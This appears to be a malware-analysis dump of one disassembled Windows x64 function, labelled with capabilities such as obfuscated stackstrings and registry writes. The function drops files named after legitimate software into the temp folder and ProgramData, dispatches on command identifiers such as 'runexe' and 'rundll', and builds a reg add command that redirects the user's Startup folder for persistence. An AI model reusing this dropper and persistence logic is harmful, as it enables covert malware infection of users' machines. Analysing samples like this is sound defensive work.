Function at 0x140003450
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1990]
mov eax, 0x1a90
call fcn.140016510
sub rsp, rax
movaps xmmword [rsp + 0x1a80], xmm6
movaps xmmword [rsp + 0x1a70], xmm7
mov r15, rcx
lea rdx, [rbp + 0x560]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.140003180
mov r9, rax
lea r8, [rbp + 0x560]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x780]
call fcn.1400095f0
lea r8, [rbp + 0x560]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0x9a0]
call fcn.1400095f0
lea r8, [rbp + 0x560]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0x1310]
call fcn.1400095f0
lea rcx, [rbp + 0xa8]
call fcn.140003000
nop
lea rcx, [rbp + 0xc8]
call fcn.140003000
nop
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r12b
lea r8d, [r12 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x70]
call fcn.140008e50
nop
lea r8d, [r12 + 1]
lea rdx, [0x14004bdc8]
lea rcx, [rbp - 0x70]
call fcn.140008fb0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea r8d, [r12 + 6]
lea rdx, str.config
lea rcx, [rsp + 0x50]
call fcn.140008fb0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400035fa
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ebc
call fcn.140015e98
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140003648
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003643
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ec2
call fcn.140015e98
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x88]
call fcn.140008e50
nop
mov r8d, 1
lea rdx, [0x14004bdc8]
lea rcx, [rbp + 0x88]
call fcn.140008fb0
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rbp + 0x68]
call fcn.140008fb0
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x14004bdc8]
lea rcx, [rbp + 0x48]
call fcn.140008fb0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.140008fb0
mov qword [rsp + 0x70], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x70]
call fcn.140008fb0
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000383f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000383a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ec8
call fcn.140015e98
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000388d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003888
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ece
call fcn.140015e98
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x1400038db
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ed4
call fcn.140015e98
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140003929
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003924
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004eda
call fcn.140015e98
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x14000397d
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003978
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ee0
call fcn.140015e98
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x30]
call fcn.140008e50
nop
mov r8d, 1
lea rdx, [0x14004bdc8]
lea rcx, [rbp - 0x30]
call fcn.140008fb0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rsp + 0x50]
call fcn.140008fb0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140003a9d
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ee6
call fcn.140015e98
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140003aea
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ae5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004eec
call fcn.140015e98
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140003b38
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ef2
call fcn.140015e98
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae r8, qword [rbp + 0x28]
lea rdx, [0x14004bdd4]
lea rcx, [rbp + 0x890]
call fcn.1400095f0
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
lea rax, [rbp + 0x890]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003b80
lea rdx, [rbp + 0x890]
lea rcx, [rbp - 0x10]
call fcn.140008e50
nop
lea rcx, [rbp - 0x10]
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp + 8]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp]
test rdx, rdx
je 0x140003be6
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x140003be1
cmp r8, rcx
je 0x140003be6
dec r8
cmp byte [r8], 0x5c
jne 0x140003bd3
sub r8, rcx
jmp 0x140003bed
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp - 0x10]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x30]
call fcn.140008e50
nop
mov r8d, 0xc
lea rdx, str.python27.dll
lea rcx, [rbp - 0x30]
call fcn.140008fb0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140003c88
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ef8
call fcn.140015e98
movups xmmword [rbp - 0x10], xmm6
movups xmmword [rbp], xmm7
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140003ccb
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003cc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004efe
call fcn.140015e98
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r8, qword [rbp - 0x10]
lea rdx, [0x14004bdd4]
lea rcx, [rbp + 0x10f0]
call fcn.1400095f0
call fcn.140003180
mov r9, rax
lea r8, [rbp + 0x560]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0xbc0]
call fcn.1400095f0
lea r8, [rbp + 0x560]
lea rdx, str._smhRCPlayer_dll.dll
lea rcx, [rbp + 0x1200]
call fcn.1400095f0
lea r8, [rbp + 0x560]
lea rdx, str._s_tgp_daemon.exe
lea rcx, [rbp + 0xed0]
call fcn.1400095f0
call fcn.140003180
mov r9, rax
lea r8, [rbp + 0x560]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0xab0]
call fcn.1400095f0
lea rcx, [rbp + 0x2d0]
call fcn.1400082a0
nop
mov qword [rsp + 0x30], r12
mov word [rsp + 0x38], 1
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x318]
mov qword [rsp + 0x70], rax
test rax, rax
sete byte [rsp + 0x78]
mov byte [rsp + 0x79], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10]
call fcn.14000b6d0
nop
lea rcx, [rbp + 0x2e0]
call fcn.140008d20
test rax, rax
jne 0x140003e1b
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r9, [rbp + 0x2d0]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], 0
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140002610
lea rcx, [0x1401db6c0]
call fcn.14001d278
mov dword [rsp + 0x30], 0x61657771
mov dword [rsp + 0x34], 0x32316473
mov dword [rsp + 0x38], 0x63787a33
mov ecx, 0xc
call fcn.140015ea0
mov qword [rbp - 0x70], rax
lea rbx, [rax + 0xc]
mov qword [rbp - 0x60], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140017ea0
mov qword [rbp - 0x68], rbx
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.140002c60
mov qword [rbp - 0x50], r12
mov rcx, r12
mov qword [rbp - 0x40], rcx
mov r8d, 0xf
mov qword [rbp - 0x38], r8
mov byte [rbp - 0x50], cl
mov rdi, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x10]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x140003eb9
lea rcx, [rbp - 0x50]
call fcn.140009e10
mov rcx, r12
mov qword [rbp - 0x40], rcx
mov r8, qword [rbp - 0x38]
lea rax, [rbp - 0x50]
mov qword [rbp + 0x19c8], rax
cmp rbx, rdi
je 0x140003f14
nop dword [rax]
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x140003ef9
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x50]
mov byte [rcx + rax], r9b
mov byte [rcx + rax + 1], 0
jmp 0x140003f02
lea rcx, [rbp - 0x50]
call fcn.140009f60
inc rbx
cmp rbx, rdi
je 0x140003f14
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
jmp 0x140003ed0
lea rdx, str.__w__________________
lea rcx, [rbp + 0x1a0]
call fcn.1400072f0
nop
mov qword [rbp + 0x1d0], r12
mov byte [rbp + 0x1d8], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
mov qword [rbp + 0x200], r12
mov byte [rbp + 0x208], 0
movdqa xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x220], 0
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], r12
mov byte [rbp + 0x238], 0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
add rdx, qword [rbp - 0x40]
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rax, qword [rbp - 0x50]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
lea rcx, [rbp + 0x1a0]
mov qword [rbp + 0x100], rcx
mov dword [rbp + 0x108], r12d
mov qword [rbp + 0x110], r12
mov byte [rbp + 0x118], 0
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmmword [rbp + 0x130], xmm1
mov qword [rbp + 0x140], r12
mov byte [rbp + 0x148], 0
movdqa xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x160], 0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov byte [rbp + 0x178], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x1a0]
lea r8, [rbp + 0x110]
mov rcx, rax
call fcn.140009910
mov rbx, qword [rbp + 0x100]
test al, al
cmove rbx, r12
mov qword [rbp + 0x100], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x260], r12
mov byte [rbp + 0x268], 0
movdqa xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov qword [rbp + 0x290], r12
mov byte [rbp + 0x298], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], r12
mov qword [rbp + 0x2c0], r12
mov byte [rbp + 0x2c8], 0
movabs r14, 0x2aaaaaaaaaaaaaab
lea r13, str.qddll
mov rdi, qword [rbp + 0x120]
test rbx, rbx
sete al
test al, al
jne 0x1400046d7
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x4f0]
call fcn.1400050f0
nop
mov rcx, qword [rbp + 0x508]
mov rsi, qword [rbp + 0x500]
sub rcx, rsi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x1400045b2
cmp byte [rsi + 0x28], 0
je 0x140004124
movups xmm0, xmmword [rsi + 0x18]
movups xmmword [rsp + 0x70], xmm0
jmp 0x14000412d
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x140004162
sub r8, rdx
lea rcx, [rsp + 0x30]
call fcn.140008e50
nop
cmp byte [rsi + 0x40], 0
je 0x140004173
movups xmm0, xmmword [rsi + 0x30]
movups xmmword [rsp + 0x70], xmm0
jmp 0x14000417c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x1400041b1
sub r8, rdx
lea rcx, [rsp + 0x50]
call fcn.140008e50
nop
cmp byte [rsi + 0x58], 0
je 0x1400041c2
movups xmm0, xmmword [rsi + 0x48]
movups xmmword [rsp + 0x70], xmm0
jmp 0x1400041cb
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov r14d, 0xf
mov qword [rbp - 0x18], r14
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x140004200
sub r8, rdx
lea rcx, [rbp - 0x30]
call fcn.140008e50
mov r14, qword [rbp - 0x18]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x140055840]
call fcn.140009380
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.14000b870
mov rcx, rax
lea rdx, [0x14004be3c]
call fcn.140009380
lea rdx, [rsp + 0x30]
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
cmp rdi, 0x10
cmovae rdx, rbx
mov r8, qword [rsp + 0x40]
cmp r8, 5
jne 0x14000429e
mov rcx, r12
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x140004289
cmp rcx, 5
jne 0x140004270
mov eax, r12d
jmp 0x14000428e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000429e
lea rdx, [rbp + 0x10f0]
jmp 0x1400044b5
lea rdx, [rsp + 0x30]
cmp rdi, 0x10
cmovae rdx, rbx
cmp r8, 6
jne 0x1400042ee
mov rcx, r12
lea r9, str.runexe
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x1400042d9
cmp rcx, 6
jne 0x1400042c0
mov eax, r12d
jmp 0x1400042de
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400042ee
lea rdx, [rbp + 0xbc0]
jmp 0x1400044b5
lea rdx, [rsp + 0x30]
cmp rdi, 0x10
cmovae rdx, rbx
cmp r8, 6
jne 0x14000433e
mov rcx, r12
lea r9, str.rundll
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140004329
cmp rcx, 6
jne 0x140004310
mov eax, r12d
jmp 0x14000432e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000433e
lea rdx, [rbp + 0x1200]
jmp 0x1400044b5
lea rax, [rsp + 0x30]
cmp rdi, 0x10
cmovae rax, rbx
cmp r8, 3
jne 0x14000437c
cmp byte [rax], 0x62
jne 0x140004367
cmp byte [rax + 1], 0x77
jne 0x140004367
cmp byte [rax + 2], 0x6a
jne 0x140004367
mov eax, r12d
jmp 0x14000436c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000437c
lea rdx, [rbp + 0x780]
jmp 0x1400044b5
lea rax, [rsp + 0x30]
cmp rdi, 0x10
cmovae rax, rbx
cmp r8, 3
jne 0x1400043ba
cmp byte [rax], 0x64
jne 0x1400043a5
cmp byte [rax + 1], 0x6c
jne 0x1400043a5
cmp byte [rax + 2], 0x6c
jne 0x1400043a5
mov eax, r12d
jmp 0x1400043aa
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400043ba
lea rdx, [rbp + 0x9a0]
jmp 0x1400044b5
lea rax, [rsp + 0x30]
cmp rdi, 0x10
cmovae rax, rbx
cmp r8, 2
jne 0x1400043f2
cmp byte [rax], 0x71
jne 0x1400043dd
cmp byte [rax + 1], 0x64
jne 0x1400043dd
mov eax, r12d
jmp 0x1400043e2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400043f2
lea rdx, [rbp + 0x1310]
jmp 0x1400044b5
lea rdx, [rsp + 0x30]
cmp rdi, 0x10
cmovae rdx, rbx
cmp r8, 5
jne 0x14000443b
mov rcx, r12
lea r9, str.qdexe
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140004429
cmp rcx, 5
jne 0x140004410
mov eax, r12d
jmp 0x14000442e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000443b
lea rdx, [rbp + 0x890]
jmp 0x1400044b5
lea rdx, [rsp + 0x30]
cmp rdi, 0x10
cmovae rdx, rbx
cmp r8, 5
jne 0x14000448b
mov rcx, r12
lea r9, str.360qd
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140004479
cmp rcx, 5
jne 0x140004460
mov eax, r12d
jmp 0x14000447e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000448b
lea rdx, [rbp + 0xab0]
jmp 0x1400044b5
lea rcx, [rsp + 0x30]
cmp rdi, 0x10
cmovae rcx, rbx
cmp r8, 0xa
jne 0x1400044d5
lea rdx, str.tgp_daemon
call fcn.1400187b0
test eax, eax
jne 0x1400044d5
lea rdx, [rbp + 0xed0]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
call fcn.140002b30
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x30]
cmp r14, 0x10
jb 0x140004517
lea rdx, [r14 + 1]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004508
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f04
call fcn.140015e98
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000455e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000454f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f0a
call fcn.140015e98
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x30]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
cmp rdi, 0x10
jb 0x1400045a8
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400045a0
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f10
mov rcx, rbx
call fcn.140015e98
movabs r14, 0x2aaaaaaaaaaaaaab
mov rdi, qword [rbp + 0x120]
mov rbx, qword [rdi + 8]
xor dl, dl
cmp qword [rdi], rbx
jne 0x140004609
mov rdx, qword [rbp + 0xf8]
cmp rbx, rdx
je 0x14000465c
mov ecx, dword [rbp + 0x108]
or ecx, 0x60
mov rax, qword [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x100]
lea r8, [rbp + 0x110]
mov rcx, rbx
call fcn.140009910
test al, al
jne 0x140004668
mov dl, 1
mov eax, dword [rbp + 0x108]
bts eax, 8
mov dword [rbp + 0x108], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x100]
lea r8, [rbp + 0x110]
mov rdx, qword [rbp + 0xf8]
mov rcx, rbx
call fcn.140009910
test al, al
jne 0x140004668
mov rdi, qword [rbp + 0x120]
mov rbx, r12
mov qword [rbp + 0x100], rbx
jmp 0x140004676
mov rdi, qword [rbp + 0x120]
mov rbx, qword [rbp + 0x100]
test rsi, rsi
je 0x1400040c2
mov rcx, qword [rbp + 0x510]
sub rcx, rsi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400046ca
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f16
mov rcx, rsi
call fcn.140015e98
jmp 0x1400040c2
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140003180
mov r9, rax
mov r8, r15
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, r15
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0x1420]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1420]
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x3e0]
call fcn.140003310
